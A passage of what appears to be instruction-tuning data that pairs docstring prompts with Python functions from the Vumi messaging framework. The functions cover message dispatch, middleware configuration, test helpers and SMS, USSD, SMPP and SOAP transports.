return self._clear_dispatched(connector_name, 'status')
[INST] Dispatch a message to the specified routing key.. [/INST] def dispatch_raw(self, routing_key, message, exchange='vumi'):
self.broker.publish_message(exchange, routing_key, message)
return self.kick_delivery()
[INST] Trigger delivery of messages by the broker.
This is generally called internally by anything that sends a message.. [/INST] def kick_delivery(self):
return self.broker.kick_delivery()
[INST] Get dispatched metrics after waiting for any pending deliveries.
The list of datapoints from each dispatched metrics message is
returned.. [/INST] def wait_for_dispatched_metrics(self):
return self.broker.wait_delivery().addCallback(
lambda _: self.get_dispatched_metrics())
[INST] Clear dispatched metrics messages from the broker.. [/INST] def clear_dispatched_metrics(self):
self.broker.clear_messages('vumi.metrics')
[INST] Construct and dispatch a delivery report event.
This is a wrapper around :meth:`MessageHelper.make_delivery_report` (to
which all parameters are passed) and. [/INST] def make_dispatch_delivery_report(self, *args, **kw):
msg = self.msg_helper.make_delivery_report(*args, **kw)
d = self.worker_helper.dispatch_event(msg)
return d.addCallback(lambda r: msg)
[INST] Construct and dispatch a status.
This is a wrapper around :meth:`MessageHelper.make_status` (to
which all parameters are passed) and. [/INST] def make_dispatch_status(self, *args, **kw):
msg = self.msg_helper.make_status(*args, **kw)
d = self.worker_helper.dispatch_status(msg)
return d.addCallback(lambda r: msg)
[INST] This is useful for skipping tests that require optional dependencies which
might not be present.. [/INST] def import_skip(exc, *expected):
module = import_filter(exc, *expected)
raise SkipTest("Failed to import '%s'." % (module,))
[INST] Decorate a test that should be skipped with a reason.
NOTE: Don't import this as `skip`, because that will cause trial to skip
the entire module that imports it.. [/INST] def skiptest(reason):
def skipdeco(func):
func.skip = reason
return func
return skipdeco
[INST] Return ``value`` or a deferred that fires with it.
This is useful in cases where we're performing a potentially async
operation but don't necessarily have enough information to use
`maybe_async`.. [/INST] def maybe_async_return(value, maybe_deferred):
if isinstance(maybe_deferred, Deferred):
return maybe_deferred.addCallback(lambda r: value)
return value
[INST] Get a list of Riak managers and whether they should be purged.
The return value is a list of (`bool`, `Manager`) tuples. If the first
item is `True`, the manager should be purged. It's safe to purge
managers even if the first item is `False`, but it adds extra cleanup
time.. [/INST] def _get_riak_managers_for_cleanup(self):
seen_bucket_prefixes = set()
managers = []
for manager in self._riak_managers:
if manager.bucket_prefix in seen_bucket_prefixes:
managers.append((False, manager))
else:
seen_bucket_prefixes.add(manager.bucket_prefix)
managers.append((True, manager))
return reversed(managers)
[INST] Get a list of Redis managers and whether they should be purged.
The return value is a list of (`bool`, `Manager`) tuples. If the first
item is `True`, the manager should be purged. It's safe to purge
managers even if the first item is `False`, but it adds extra cleanup
time.. [/INST] def _get_redis_managers_for_cleanup(self):
seen_key_prefixes = set()
managers = []
for manager in self._redis_managers:
if manager._key_prefix in seen_key_prefixes:
managers.append((False, manager))
else:
seen_key_prefixes.add(manager._key_prefix)
managers.append((True, manager))
return reversed(managers)
[INST] This is a separate method to allow easy overriding.. [/INST] def _purge_redis(self, manager):
try:
yield manager._purge_all()
except RuntimeError, e:
if e.args[0] != 'Not connected':
raise
[INST] Patch a Riak manager to capture load and store operations.. [/INST] def record_load_and_store(self, riak_manager, loads, stores):
orig_load = riak_manager.load
orig_store = riak_manager.store
def record_load(modelcls, key, result=None):
loads.append(key)
return orig_load(modelcls, key, result=result)
def record_store(obj):
stores.append(obj.key)
return orig_store(obj)
self._patch(riak_manager, "load", record_load)
self._patch(riak_manager, "store", record_store)
[INST] All configs for things that create Riak or Redis clients should be
passed through this method.. [/INST] def mk_config(self, config):
self._check_patches_applied()
config = config.copy()
config.update(self._config_overrides)
return config
[INST] Transport-specific config validation happens in here.. [/INST] def validate_config(self):
self.web_path = self.config['web_path']
self.web_port = int(self.config['web_port'])
self.integrat_url = self.config['url']
self.integrat_username = self.config['username']
self.integrat_password = self.config['password']
self.transport_type = self.config.get('transport_type', 'ussd')
[INST] Call .send_to() for a message from RapidSMS that is not a reply.
This is for overriding by sub-classes that need to add additional
message options.. [/INST] def send_rapidsms_nonreply(self, to_addr, content, config, endpoint):
return self.send_to(to_addr, content, endpoint=endpoint)
[INST] Do any necessary computation when a field changes.. [/INST] def model_field_changed(self, modelobj, changed_field_name):
pass
[INST] Perform a paginated index query for backlinked objects.. [/INST] def reverse_lookup_keys_paginated(self, modelobj, manager=None,
max_results=None, continuation=None):
if manager is None:
manager = modelobj.manager
return manager.index_keys_page(
self.model_cls, self.index_name, modelobj.key,
max_results=max_results, continuation=continuation)
[INST] Publishes a status if it is not a repeat of the previously
published status.. [/INST] def add_status(self, **kw):
if self.status_detect.check_status(**kw):
yield self.publish_status(**kw)
[INST] Read outbound message and do what needs to be done with them.. [/INST] def handle_outbound_message(self, message):
request_id = message['in_reply_to']
request = self.get_request(request_id)
builder = self.infer_message_type(message)
wc_msg = builder(message)
if request is None or request.finished:
return self.push_message(wc_msg, message)
request.write(wc_msg.to_xml())
request.finish()
d = self.publish_ack(user_message_id=message['message_id'],
sent_message_id=message['message_id'])
wc_metadata = message["transport_metadata"].get('wechat', {})
if wc_metadata:
d.addCallback(lambda _: self.set_cached_reply(
wc_metadata['MsgId'], wc_msg.to_xml()))
if message['session_event'] == TransportUserMessage.SESSION_CLOSE:
d.addCallback(
lambda _: self.clear_addr_mask(wc_msg.to_user_name))
return d
[INST] Construct a real webserver to test actual connectivity.. [/INST] def make_real_webserver(self):
root = Resource()
root.isLeaf = True
root.render = lambda r: self._render_request(r)
site_factory = Site(root)
webserver = yield reactor.listenTCP(
0, site_factory, interface='127.0.0.1')
self.add_cleanup(webserver.loseConnection)
addr = webserver.getHost()
url = "http://%s:%s/" % (addr.host, addr.port)
returnValue(url)
[INST] Wrapper around http_request_full and friends that injects our fake
connection's agent.. [/INST] def with_agent(self, f, *args, **kw):
kw.setdefault('agent_class', self.fake_http.get_agent)
return f(*args, **kw)
[INST] Called when an inbound transport user message is consumed.
The other methods listed below all function in the same way. Only the
kind and direction of the message being processed differs.. [/INST] def handle_consume_inbound(self, message, connector_name):
return self.handle_inbound(message, connector_name)
[INST] Called when an inbound transport user message is published.. [/INST] def handle_publish_inbound(self, message, connector_name):
return self.handle_inbound(message, connector_name)
[INST] Default handler for published and consumed inbound messages.. [/INST] def handle_inbound(self, message, connector_name):
return message
[INST] Called when an outbound transport user message is consumed.. [/INST] def handle_consume_outbound(self, message, connector_name):
return self.handle_outbound(message, connector_name)
[INST] Called when an outbound transport user message is published.. [/INST] def handle_publish_outbound(self, message, connector_name):
return self.handle_outbound(message, connector_name)
[INST] Default handler for published and consumed outbound messages.. [/INST] def handle_outbound(self, message, connector_name):
return message
[INST] Called when a transport event is consumed.. [/INST] def handle_consume_event(self, event, connector_name):
return self.handle_event(event, connector_name)
[INST] Called when a transport event is published.. [/INST] def handle_publish_event(self, event, connector_name):
return self.handle_event(event, connector_name)
[INST] Default handler for published and consumed events.. [/INST] def handle_event(self, event, connector_name):
return event
[INST] Called when a failure message is consumed.. [/INST] def handle_consume_failure(self, failure, connector_name):
return self.handle_failure(failure, connector_name)
[INST] Called when a failure message is published.. [/INST] def handle_publish_failure(self, failure, connector_name):
return self.handle_failure(failure, connector_name)
[INST] Called to process a failure message (. [/INST] def handle_failure(self, failure, connector_name):
return failure
[INST] Return a list of middleware objects created from a worker
configuration.. [/INST] def create_middlewares_from_config(worker, config):
middlewares = []
for item in config.get("middleware", []):
keys = item.keys()
if len(keys) != 1:
raise ConfigError(
"Middleware items contain only a single key-value pair. The"
" key should be a name for the middleware. The value should be"
" the full dotted name of the class implementing the"
" middleware, or a mapping containing the keys 'class' with a"
" value of the full dotted class name, 'consume_priority' with"
" the priority level for consuming, and 'publish_priority'"
" with the priority level for publishing, both integers.")
middleware_name = keys[0]
middleware_config = config.get(middleware_name, {})
if isinstance(item[middleware_name], basestring):
cls_name = item[middleware_name]
middleware_config['consume_priority'] = 0
middleware_config['publish_priority'] = 0
elif isinstance(item[middleware_name], dict):
conf = item[middleware_name]
cls_name = conf.get('class')
try:
middleware_config['consume_priority'] = int(conf.get(
'consume_priority', 0))
middleware_config['publish_priority'] = int(conf.get(
'publish_priority', 0))
except ValueError:
raise ConfigError(
"Middleware priority level must be an integer")
else:
raise ConfigError(
"Middleware item values must either be a string with the",
" full dotted name of the class implementing the middleware,"
" or a dictionary with 'class', 'consume_priority', and"
" 'publish_priority' keys.")
cls = load_class_by_string(cls_name)
middleware = cls(middleware_name, middleware_config, worker)
middlewares.append(middleware)
return middlewares
[INST] Add a pool to list of pools.. [/INST] def _register_pool(self, pool):
pool = self._encode(pool)
pool_list_key = self._pool_list_key()
yield self.redis.sadd(pool_list_key, pool)
[INST] Remove a pool to list of pools.. [/INST] def _unregister_pool(self, pool):
pool = self._encode(pool)
pool_list_key = self._pool_list_key()
yield self.redis.srem(pool_list_key, pool)
[INST] Generic response for abnormal server side errors.. [/INST] def response_for_error(self):
response = {
'message': 'We encountered an error while processing your message',
'type': 'end'
}
return response
[INST] Called on requests that timed out.. [/INST] def finish_expired_request(self, request_id, request):
del self._requests[request_id]
log.msg('Timing out on response for %s' % request.session['from_addr'])
request.deferred.callback(self.response_for_error())
[INST] Transport-specific config validation happens in here.. [/INST] def validate_config(self):
self.message_id_lifetime = self.config.get('message_id_lifetime',
self.DEFAULT_MESSAGE_ID_LIFETIME)
self.web_receipt_path = self.config['web_receipt_path']
self.web_receive_path = self.config['web_receive_path']
self.web_port = int(self.config['web_port'])
self.opera_url = self.config['url']
self.opera_channel = self.config['channel']
self.opera_password = self.config['password']
self.opera_service = self.config['service']
self.max_segments = self.config.get('max_segments', 9)
self.r_config = self.config.get('redis_manager', {})
self.transport_name = self.config['transport_name']
[INST] Decide what to do on certain failure cases.. [/INST] def handle_outbound_message_failure(self, failure, message):
if failure.check(xmlrpc.Fault):
raise TemporaryFailure(failure)
elif failure.check(ValueError):
yield self.publish_nack(message['message_id'], str(failure.value))
raise PermanentFailure(failure)
else:
yield self.publish_nack(message['message_id'], str(failure.value))
raise failure
[INST] Clean-up of setup done in setup_dispatcher should happen here.. [/INST] def teardown_dispatcher(self):
pass
[INST] Post-migrate-function for use in tests.. [/INST] def post_migrate_function(obj):
obj.a = obj.a + u"-modified"
return True
[INST] Post-migrate-function for use in tests.. [/INST] def post_migrate_function_deferred(obj):
from twisted.internet import reactor
return deferLater(reactor, 0.1, post_migrate_function, obj)
[INST] Post-migrate-function for use in tests.. [/INST] def post_migrate_function_new_only(obj):
if obj.was_migrated:
return post_migrate_function(obj)
return False
[INST] Get the fully-qualified name of a thing.. [/INST] def fqpn(thing):
return ".".join([thing.__module__, thing.__name__])
[INST] This is a drop in replacement for the original `http_request_full` method
but it has its internals completely replaced by treq. Treq supports SNI
and our implementation does not for some reason. Also, we do not want
to continue maintaining this because we're favouring treq everywhere
anyway.. [/INST] def http_request_full(url, data=None, headers={}, method='POST',
timeout=None, data_limit=None, context_factory=None,
agent_class=None, reactor=None):
agent_class = agent_class or Agent
if reactor is None:
from twisted.internet import reactor
kwargs = {'pool': HTTPConnectionPool(reactor, persistent=False)}
if context_factory is not None:
kwargs['contextFactory'] = context_factory
agent = agent_class(reactor, **kwargs)
client = HTTPClient(agent)
def handle_response(response):
return SimplishReceiver(response, data_limit).deferred
d = client.request(method, url, headers=headers, data=data)
d.addCallback(handle_response)
if timeout is not None:
cancelling_on_timeout = [False]
def raise_timeout(reason):
if not cancelling_on_timeout[0] or reason.check(HttpTimeoutError):
return reason
return Failure(HttpTimeoutError("Timeout while connecting"))
def cancel_on_timeout():
cancelling_on_timeout[0] = True
d.cancel()
def cancel_timeout(r, delayed_call):
if delayed_call.active():
delayed_call.cancel()
return r
d.addErrback(raise_timeout)
delayed_call = reactor.callLater(timeout, cancel_on_timeout)
d.addCallback(cancel_timeout, delayed_call)
return d
[INST] Checks to see if the current status is a repeat. If it is, None is
returned. If it isn't, the status is returned.. [/INST] def check_status(self, **status):
self._check_state(status['status'], status['component'])
if self._check_type(status['type'], status['component']):
return status
[INST] Count keys in an index page, filtering by regex if necessary.. [/INST] def count_keys(self, keys, filter_regex):
if filter_regex is not None:
keys = [(v, k) for v, k in keys if filter_regex.match(v)]
return len(keys)
[INST] Perform an index query to get all keys and count them.. [/INST] def count_all_keys(self):
self.emit("Counting all keys ...")
index_page = yield self.model.all_keys_page(
max_results=self.options["index-page-size"])
yield self.count_pages(index_page, filter_regex=None)
[INST] Perform an index query to get all matching keys and count them.. [/INST] def count_index_keys(self):
filter_regex = self.options["index-value-regex"]
if filter_regex is not None:
filter_regex = re.compile(filter_regex)
self.emit("Counting ...")
index_page = yield self.model.index_keys_page(
field_name=self.options["index-field"],
value=self.options["index-value"],
end_value=self.options["index-value-end"],
max_results=self.options["index-page-size"],
return_terms=True)
yield self.count_pages(index_page, filter_regex=filter_regex)
[INST] handle messages arriving over AMQP meant for delivery via vas2nets. [/INST] def handle_outbound_message(self, message):
params = {
'username': self.config['username'],
'password': self.config['password'],
'owner': self.config['owner'],
'service': self.config['service'],
}
v2n_message_id = message.get('in_reply_to')
if v2n_message_id is not None:
if v2n_message_id.startswith(self.transport_name):
v2n_message_id = v2n_message_id[len(self.transport_name) + 1:]
else:
v2n_message_id = message['message_id']
message_params = {
'call-number': normalize_outbound_msisdn(message['to_addr']),
'origin': message['from_addr'],
'messageid': v2n_message_id,
'provider': message['transport_metadata']['network_id'],
'tariff': message['transport_metadata'].get('tariff', 0),
'text': validate_characters(message['content']),
'subservice': self.config.get('subservice',
message['transport_metadata'].get(
'keyword', '')),
}
params.update(message_params)
log.msg('Hitting %s with %s' % (self.config['url'], params))
log.msg(urlencode(params))
try:
response = yield http_request_full(
self.config['url'], urlencode(params), {
'User-Agent': ['Vumi Vas2Net Transport'],
'Content-Type': ['application/x-www-form-urlencoded'],
}, 'POST', agent_class=self.agent_factory)
except ConnectionRefusedError:
log.msg("Connection failed sending message:", message)
raise TemporaryFailure('connection refused')
log.msg('Headers', list(response.headers.getAllRawHeaders()))
header = self.config.get('header', 'X-Nth-Smsid')
if response.code != 200:
raise PermanentFailure('server error: HTTP %s: %s'
% (response.code, response.delivered_body))
if response.headers.hasHeader(header):
transport_message_id = response.headers.getRawHeaders(header)[0]
yield self.publish_ack(
user_message_id=message['message_id'],
sent_message_id=transport_message_id,
)
else:
err_msg = 'No SmsId Header, content: %s' % response.delivered_body
yield self.publish_nack(
user_message_id=message['message_id'],
sent_message_id=message['message_id'],
reason=err_msg)
raise Vas2NetsTransportError(err_msg)
[INST] Store this failure in redis, with an optional retry delay.. [/INST] def store_failure(self, message, reason, retry_delay=None):
message_json = message
if not isinstance(message, basestring):
message_json = to_json(message)
key = self.failure_key()
if not retry_delay:
retry_delay = 0
yield self.redis.hmset(key, {
"message": message_json,
"reason": reason,
"retry_delay": str(retry_delay),
})
yield self.add_to_failure_set(key)
if retry_delay:
yield self.store_retry(key, retry_delay)
returnValue(key)
[INST] Handle a failed message from a transport.. [/INST] def handle_failure(self, message, failure_code, reason):
if failure_code == FailureMessage.FC_TEMPORARY:
return self.do_retry(message, reason)
else:
return self.store_failure(message, reason)
[INST] Asserts that the JSON response we're getting back is the same as
the list of messages provided.
There are easier ways to do this by comparing bigger JSON blogs
but then debugging the huge strings would be a pain.. [/INST] def assertJSONResultEqual(self, json_blob, messages):
dictionaries = json.loads(json_blob)
self.assertEqual(len(dictionaries), len(messages),
'Unequal amount of dictionaries and messages')
for dictionary, message in zip(dictionaries, messages):
self.assertEqual(
TransportUserMessage(_process_fields=False, **message.payload),
TransportUserMessage.from_json(json.dumps(dictionary)))
[INST] Wait zero seconds to give the reactor a chance to work.
Returns its (optional) argument, so it's useful as a callback.. [/INST] def wait0(r=None):
from twisted.internet import reactor
return deferLater(reactor, 0, lambda: r)
[INST] Write some bytes and allow the reactor to send them.. [/INST] def write(self, data):
self.transport.write(data)
return wait0()
[INST] Get an endpoint that connects clients to this server.. [/INST] def endpoint(self):
return FakeServerEndpoint(self)
[INST] Wait for a client to start connecting, and then return a. [/INST] def await_connection(self):
return self.connection_queue.get()
[INST] Wait for a client to finish connecting.. [/INST] def await_connected(self):
return self._connected_d
[INST] Wait for the both sides of the connection to close.. [/INST] def await_finished(self):
return self._finished_d
[INST] Patch the protocol's makeConnection and connectionLost methods to make the
protocol and its transport behave more like what `Agent` expects.
While `Agent` is the driving force behind this, other clients and servers
will no doubt have similar requirements.. [/INST] def patch_protocol_for_agent(protocol):
old_makeConnection = protocol.makeConnection
old_connectionLost = protocol.connectionLost
def new_makeConnection(transport):
patch_transport_fake_push_producer(transport)
patch_transport_abortConnection(transport, protocol)
return old_makeConnection(transport)
def new_connectionLost(reason):
if protocol._fake_connection_aborted and reason.check(ConnectionDone):
reason = Failure(ConnectionAborted())
return old_connectionLost(reason)
protocol.makeConnection = new_makeConnection
protocol.connectionLost = new_connectionLost
protocol._fake_connection_aborted = False
[INST] Patch a method onto an object if it isn't already there.. [/INST] def patch_if_missing(obj, name, method):
setattr(obj, name, getattr(obj, name, method))
[INST] Patch the three methods belonging to IPushProducer onto the transport if it
doesn't already have them. (`Agent` assumes its transport has these.). [/INST] def patch_transport_fake_push_producer(transport):
patch_if_missing(transport, 'pauseProducing', lambda: None)
patch_if_missing(transport, 'resumeProducing', lambda: None)
patch_if_missing(transport, 'stopProducing', transport.loseConnection)
[INST] Patch abortConnection() on the transport or add it if it doesn't already
exist (`Agent` assumes its transport has this).
The patched method sets an internal flag recording the abort and then calls
the original method (if it existed) or transport.loseConnection (if it
didn't).. [/INST] def patch_transport_abortConnection(transport, protocol):
_old_abortConnection = getattr(
transport, 'abortConnection', transport.loseConnection)
def abortConnection():
protocol._fake_connection_aborted = True
_old_abortConnection()
transport.abortConnection = abortConnection
[INST] Called if the SMPP connection is not bound within
``smpp_bind_timeout`` amount of seconds. [/INST] def drop_link(self):
if self.is_bound():
return
yield self.service.on_smpp_bind_timeout()
yield self.disconnect(
'Dropping link due to binding delay. Current state: %s' % (
self.state))
[INST] Send a PDU to the SMSC. [/INST] def send_pdu(self, pdu):
self.emit('OUTGOING >> %r' % (pdu.get_obj(),))
return self.transport.write(pdu.get_bin())
[INST] Called when an SMPP PDU is received for which no handler function has
been defined.. [/INST] def on_unsupported_command_id(self, pdu):
self.log.warning(
'Received unsupported SMPP command_id: %r' % (command_id(pdu),))
[INST] Called when the bind has been setup. [/INST] def on_smpp_bind(self, sequence_number):
self.drop_link_call.cancel()
self.disconnect_call = self.clock.callLater(
self.idle_timeout, self.disconnect,
'Disconnecting, no response from SMSC for longer '
'than %s seconds' % (self.idle_timeout,))
self.enquire_link_call.clock = self.clock
self.enquire_link_call.start(self.config.smpp_enquire_link_interval)
return self.service.on_smpp_bind()
[INST] Format a datetime object using the Vumi date format.. [/INST] def format_vumi_date(timestamp):
return timestamp.strftime(VUMI_DATE_FORMAT)
[INST] Parse a timestamp string using the Vumi date format.
Timestamps without microseconds are also parsed correctly.. [/INST] def parse_vumi_date(value):
date_format = VUMI_DATE_FORMAT
if "." not in value[-10:]:
date_format = _VUMI_DATE_FORMAT_NO_MICROSECONDS
return datetime.strptime(value, date_format)
[INST] A special payload attribute that isn't stored by the message store.. [/INST] def cache(self):
return self.payload.setdefault(self._CACHE_ATTRIBUTE, {})
[INST] Construct a reply message.
The reply message will have its `to_addr` field set to the original
message's `from_addr`. This means that even if the original message is
directed to the group only , the
reply will be directed to the sender of the original message.. [/INST] def reply(self, content, continue_session=True, **kw):
session_event = None if continue_session else self.SESSION_CLOSE
for field in [
'to_addr', 'from_addr', 'group', 'in_reply_to', 'provider'
'transport_name', 'transport_type', 'transport_metadata']:
if field in kw:
raise TypeError("'%s' may not be overridden." % (field,))
fields = {
'helper_metadata': self['helper_metadata'],
'session_event': session_event,
'to_addr': self['from_addr'],
'from_addr': self['to_addr'],
'group': self['group'],
'in_reply_to': self['message_id'],
'provider': self['provider'],
'transport_name': self['transport_name'],
'transport_type': self['transport_type'],
'transport_metadata': self['transport_metadata'],
}
fields.update(kw)
out_msg = TransportUserMessage(content=content, **fields)
out_msg.set_routing_endpoint(self.get_routing_endpoint())
return out_msg
[INST] Messages sent to the bot will arrive here. Command handling routing
is done in this function.. [/INST] def onMessage(self, message):
if not isinstance(message.body, DomishElement):
return None
text = unicode(message.body).encode('utf-8').strip()
from_addr, _, _ = message['from'].partition('/')
self.message_callback(
to_addr=self.jid.userhost(),
from_addr=from_addr,
content=text,
transport_type='xmpp',
transport_metadata={
'xmpp_id': message.getAttribute('id'),
})
[INST] Perform a SOAP request.
If the remote server responds with an HTTP 500 status, then it is assumed
that the body contains a SOAP fault, which is then parsed and a `SoapFault`
exception raised.. [/INST] def perform_soap_request(uri, action, body, header=None,
expected_faults=None,
http_request_full=http_request_full):
def _parse_soap_response(response):
root = fromstring(response.delivered_body)
body, header = unwrap_soap_envelope(root)
if response.code == http.INTERNAL_SERVER_ERROR:
raise SoapFault.from_element(body, expected_faults)
return body, header
envelope = soap_envelope(body, header)
headers = {
'SOAPAction': action,
'Content-Type': 'text/xml; charset="utf-8"'}
d = http_request_full(uri, tostring(envelope), headers)
d.addCallback(_parse_soap_response)
return d
[INST] Wrap an element or text in a SOAP envelope.. [/INST] def soap_envelope(body, header=None):
parts = [SOAP_ENV.Body(body)]
if header is not None:
parts.insert(0, SOAP_ENV.Header(header))
return SOAP_ENV.Envelope(*parts)
[INST] Unwrap a SOAP request and return the SOAP header and body elements.. [/INST] def unwrap_soap_envelope(root):
header = elemfind(root, SOAP_ENV.Header)
body = elemfind(root, SOAP_ENV.Body)
if body is None:
raise SoapFault(u'soapenv:Client', u'Malformed SOAP request')
return body, header
[INST] Create a SOAP fault response.. [/INST] def soap_fault(faultcode, faultstring=None, faultactor=None, detail=None):
def _maybe(f, value):
if value is not None:
return f(value)
return None
xs = [
LocalNamespace.faultcode(faultcode),
_maybe(LocalNamespace.faultstring, faultstring),
_maybe(LocalNamespace.faultactor, faultactor),
_maybe(LocalNamespace.detail, detail)]
return SOAP_ENV.Fault(*[x for x in xs if x is not None])
[INST] Parse expected SOAP faults from a SOAP fault ``detail`` element.. [/INST] def _parse_expected_faults(detail, expected_faults):
if detail is None:
return None
for child in detail.getchildren():
for exc_type in expected_faults:
try:
if exc_type.detail_type is not None:
det = exc_type.detail_type.from_element(child)
if det is not None:
return exc_type, det
except:
log.err(
None, 'Error parsing SOAP fault element (%r) with %r' % (
child, exc_type.detail_type))
return None
[INST] Parse a SOAP fault element and its details.. [/INST] def parse_soap_fault(body, expected_faults=None):
fault = elemfind(body, SOAP_ENV.Fault)
if fault is None:
return None
faultcode = gettext(fault, u'faultcode')
faultstring = gettext(fault, u'faultstring')
faultactor = gettext(fault, u'faultactor')
detail = elemfind(fault, u'detail')
if expected_faults is None:
expected_faults = []
parsed = _parse_expected_faults(detail, expected_faults)
return parsed, (faultcode, faultstring, faultactor, detail)
[INST] Parse a SOAP fault from an ElementTree element.. [/INST] def from_element(cls, root, expected_faults=None):
faultinfo = parse_soap_fault(root, expected_faults)
if faultinfo is None:
raise ValueError(
'Element (%r) does not contain a SOAP fault' % (root,))
parsed_fault, faultinfo = faultinfo
if parsed_fault is None:
parsed_fault = SoapFault, None
exc_type, parsed_detail = parsed_fault
faultcode, faultstring, faultactor, detail = faultinfo
return exc_type(
faultcode, faultstring, faultactor, detail, parsed_detail)
[INST] Serialize this SOAP fault to an ElementTree element.. [/INST] def to_element(self):
detail = self.detail
if detail is not None:
detail = self.detail.getchildren()
return soap_fault(
self.code, self.string, self.actor, detail)
[INST] Clean-up of setup done in setup_transport.. [/INST] def teardown_transport(self):
self.session_manager.stop()
if self.xmlrpc_server is not None:
yield self.xmlrpc_server.stopListening()
[INST] Called by the XML-RPC server when it receives a payload that
needs processing.. [/INST] def handle_raw_inbound_request(self, message_id, values, d):
self.timeout_request = self.callLater(self.timeout,
self.timed_out, message_id)
self._requests[message_id] = values
self._requests_deferreds[message_id] = d
if not self.validate_inbound_data(values.keys()):
self.timeout_request.cancel()
self.remove_request(message_id)
d.errback(InvalidRequest("4001: Missing Parameters"))
else:
session_id = values['TransactionId']
session = yield self.session_manager.load_session(session_id)
if session:
session_event = TransportUserMessage.SESSION_RESUME
content = values['USSDRequestString']
else:
yield self.session_manager.create_session(
session_id, from_addr=values['MSISDN'],
to_addr=values['USSDServiceCode'])
session_event = TransportUserMessage.SESSION_NEW
content = None
metadata = {
'transaction_id': values['TransactionId'],
'transaction_time': values['TransactionTime'],
}
res = yield self.publish_message(
message_id=message_id,
content=content,
from_addr=values['MSISDN'],
to_addr=values['USSDServiceCode'],
session_event=session_event,
transport_type=self.transport_type,
transport_metadata={'mtn_rwanda_ussd': metadata}
)
returnValue(res)
[INST] Read outbound message and do what needs to be done with them.. [/INST] def handle_outbound_message(self, message):
request_id = message['in_reply_to']
if self.get_request(request_id) is None:
return self.publish_nack(user_message_id=message['message_id'],
sent_message_id=message['message_id'],
reason='Request not found')
self.timeout_request.cancel()
self.finish_request(request_id,
message.payload['content'].encode('utf-8'),
message['session_event'])
return self.publish_ack(user_message_id=request_id,
sent_message_id=request_id)
[INST] Create a client connection to a fake server.. [/INST] def connect_client(self, fake_server):
conn_d = fake_server.await_connection()
self.assertNoResult(conn_d)
client_d = fake_server.endpoint.connect(self.client_factory)
client = self.successResultOf(client_d)
conn = self.successResultOf(conn_d)
self.assert_connected(conn, client)
return (conn, client)
[INST] Assert that a connection is not yet connected.. [/INST] def assert_pending(self, conn):
self.assertEqual(conn.client_protocol, None)
self.assertEqual(conn.server_protocol, None)
self.assertEqual(conn.connected, False)
self.assertEqual(conn.pending, True)
self.assertNoResult(conn._accept_d)
self.assertNoResult(conn._connected_d)
self.assertNoResult(conn._finished_d)
[INST] Assert that a connection is connected to a client.. [/INST] def assert_connected(self, conn, client):
self.assertIsInstance(conn.client_protocol, DummyClientProtocol)
self.assertEqual(conn.client_protocol.side, "client")
self.assertEqual(conn.client_protocol.connected, True)
self.assertEqual(conn.client_protocol.disconnected_reason, None)
self.assertIsInstance(conn.server_protocol, DummyServerProtocol)
self.assertEqual(conn.server_protocol.side, "server")
self.assertEqual(conn.server_protocol.connected, True)
self.assertEqual(conn.server_protocol.disconnected_reason, None)
self.assertEqual(conn.connected, True)
self.assertEqual(conn.pending, False)
self.successResultOf(conn._accept_d)
self.successResultOf(conn._connected_d)
self.assertNoResult(conn._finished_d)
self.assertEqual(conn.client_protocol, client)
[INST] Start a match operation. Expects the query to be POSTed
as the raw HTTP POST data.
The query is a list of dictionaries. A dictionary should have the
structure as defined in `vumi.persist.model.Model.index_match`
The results of the query are stored fo limited time. It defaults
to `MessageStoreCache.DEFAULT_SEARCH_RESULT_TTL` but can be overriden
by specifying the TTL in seconds using the header key as specified
in `REQ_TTL_HEADER`.
If the request has the `REQ_WAIT_HEADER` value equals `1` (int)
then it will only return with a response when the keys are actually
available for collecting.. [/INST] def render_POST(self, request):
query = json.loads(request.content.read())
headers = request.requestHeaders
ttl = int(headers.getRawHeaders(self.REQ_TTL_HEADER, [0])[0])
if headers.hasHeader(self.REQ_WAIT_HEADER):
wait = bool(int(headers.getRawHeaders(self.REQ_WAIT_HEADER)[0]))
else:
wait = False
deferred = self._match_cb(query, ttl=(ttl or None), wait=wait)
deferred.addCallback(self._render_token, request)
return NOT_DONE_YET
[INST] Callback handler that raises an error when called. [/INST] def _cb(*args, **kwargs):
return defer.fail(xmlrpc.Fault(503, 'oh noes!'))
[INST] Callback handler that raises an error when called. [/INST] def _cb(*args, **kwargs):
return defer.fail(ValueError(402, 'Payment Required'))
[INST] Stop attempting to reconnect and close any existing connections.. [/INST] def stopService(self):
self.continueTrying = False
waitFor = []
if self._delayedRetry is not None and self._delayedRetry.active():
self._delayedRetry.cancel()
self._delayedRetry = None
if self._connectingDeferred is not None:
waitFor.append(self._connectingDeferred)
self._connectingDeferred.cancel()
self._connectingDeferred = None
if self._protocol is not None:
self._protocolStoppingDeferred = Deferred()
waitFor.append(self._protocolStoppingDeferred)
self._protocol.transport.loseConnection()
d = gatherResults(waitFor)
return d.addCallback(lambda _: Service.stopService(self))
[INST] Have this connector connect again, after a suitable delay.. [/INST] def retry(self, delay=None):
if not self.continueTrying:
if self.noisy:
log.msg("Abandoning %s on explicit request" % (self.endpoint,))
return
if self.maxRetries is not None and (self.retries >= self.maxRetries):
if self.noisy:
log.msg("Abandoning %s after %d retries." %
(self.endpoint, self.retries))
return
self.retries += 1
if delay is None:
self.delay = min(self.delay * self.factor, self.maxDelay)
if self.jitter:
self.delay = random.normalvariate(self.delay,
self.delay * self.jitter)
delay = self.delay
if self.noisy:
log.msg("Will retry %s in %g seconds"
% (self.endpoint, delay))
def reconnector():
proxied_factory = _RestartableProtocolFactoryProxy(
self.factory, self)
self._connectingDeferred = self.endpoint.connect(proxied_factory)
self._connectingDeferred.addCallback(self.clientConnected)
self._connectingDeferred.addErrback(self.clientConnectionFailed)
self._delayedRetry = self.clock.callLater(delay, reconnector)
[INST] Call this method after a successful connection: it resets the delay and
the retry counter.. [/INST] def resetDelay(self):
self.delay = self.initialDelay
self.retries = 0
[INST] Process a page of keys and each subsequent page.
The keys for the current page are handed off to :meth:`fetch_page` for
processing. If there is another page, we fetch that while the current
page is being handled and add a callback to process it when the
current page is finished.
When there are no more pages, we add a callback to close the request.. [/INST] def fetch_pages(self, keys_page, concurrency, request):
if request.connection_has_been_closed:
return
d = self.fetch_page(keys_page, concurrency, request)
if keys_page.has_next_page():
next_page_d = keys_page.next_page()
d.addCallback(lambda _: next_page_d)
d.addCallback(self.fetch_pages, concurrency, request)
else:
d.addCallback(self.finish_request_cb, request)
return d
[INST] Process a page of keys in chunks of concurrently-fetched messages.. [/INST] def fetch_page(self, keys_page, concurrency, request):
for keys in chunks(list(keys_page), concurrency):
if request.connection_has_been_closed:
return
yield self.handle_chunk(keys, request)
